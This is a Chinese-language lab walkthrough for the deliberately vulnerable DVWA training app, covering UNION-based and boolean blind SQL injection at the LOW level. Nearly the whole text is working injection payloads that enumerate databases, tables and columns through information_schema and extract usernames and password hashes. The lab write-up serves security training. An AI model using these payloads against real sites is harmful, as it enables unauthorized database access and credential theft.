DVWA通关攻略(持续更新)
sql注入
级别:LOW
1.输入’ 进行试探,若提示语法错误,则也许有漏洞。
2.试探列数:
888’ or 1=1 order by 3 #
从3开始测,如果正常就加,报错就减,一直到试探出准确列数为止。
3.利用联合查询查数据库名:
888’ union select 1,database() #
4.查询数据库中的表名:
888’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’ #
5.查询表中的列名:
888’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ #
6.查询列中的具体信息,主要查用户名密码:
888’ union select user,password from users #
6-2.也可以多查几列:
888’ union select group_concat(user_id,first_name,last_name),group_concat(user,password,USER) from users #
sql盲注
级别:LOW
核心思想就是:
1.先用length猜想猜对象的长度
2.用substr一个字母一个字母的切出来,然后用ascii码判断是哪个字母
3.进到子目录,用count猜里面包含多少元素,比如库中有多少个表,表中有多少个列,然后重复1,2步骤
猜数据库名长度
666’ or length(database())=4 #
猜数据库名第一个字母
666’ or (select ascii(substr(database(),1,1)))=100 #
666’ or ascii(substr(database(),1,1))=100 #
猜数据库名第二个字母
666’ or ascii(substr(database(),2,1))=118 #
猜数据库名第三个字母
666’ or ascii(substr(database(),3,1))>100 #
猜数据库名第四个字母
666’ or ascii(substr(database(),4,1))>100 #
666’ or ascii(substr(database(),4,1))=96 #
666’ or (select count(table_name) from information_schema.tables where table_schema=‘dvwa’)>0 #
666’ or (select count(table_name) from information_schema.tables where table_schema=‘dvwa’)<5 #
666’ or (select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2 #
猜第一张表名字的长度
666’ or (select length(table_name) from information_schema.tables where table_schema=‘dvwa’ limit 0,1)=9 #
猜第一张表名字的第一个字母
666’ or (select ascii((substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1,1))))>100 #
666’ or (select ascii((substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1,1))))=103 #
猜第一张表名字的第二个字母
666’ or (select ascii((substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),2,1))))>100 #
由此推断出第一张表为guestbook
猜第二张表名字的长度
666’ or (select length(table_name) from information_schema.tables where table_schema=‘dvwa’ limit 1,1)>0 #
猜第二张表名字的第一个字母
666’ or (select ascii((substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),1,1))))>100 #
猜第二张表名字的第二个字母
666’ or (select ascii((substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),2,1))))>100 #
由此推断出第二张表为users
猜users表的列数
666’ or (select count(column_name) from information_schema.columns where table_name=‘users’)>0 #
猜users表第一列的长度
666’ or (select length(column_name) from information_schema.columns where table_name=‘users’ limit 0,1)>0 #
猜users表第一列名的第一个字母
666’ or (select ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1)))>0 #
猜users表第一列名的第二个字母
666’ or (select ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),2,1)))>0 #
重复步骤,猜出第一列的列名avatar
猜users表第二列的长度
666’ or (select length(column_name) from information_schema.columns where table_name=‘users’ limit 1,1)>0 #
猜users表第二列名的第一个字母
666’ or (select ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1,1)))>0 #
猜users表第二列名的第二个字母
666’ or (select ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),2,1)))>0 #
重复步骤,猜出第二列的列名
重复步骤,猜出users表中所有的列
猜users表中user列第一个元素的长度
666’ or (select length(user) from users limit 0,1)>0 #
猜users表中user列第一个元素的第一个字母
666’ or (select ascii(substr((select user from users limit 0,1),1,1)))>50 #
猜users表中user列第一个元素的第二个字母
666’ or (select ascii(substr((select user from users limit 0,1),2,1)))>50 #
重复步骤,猜出users表中user列第一个元素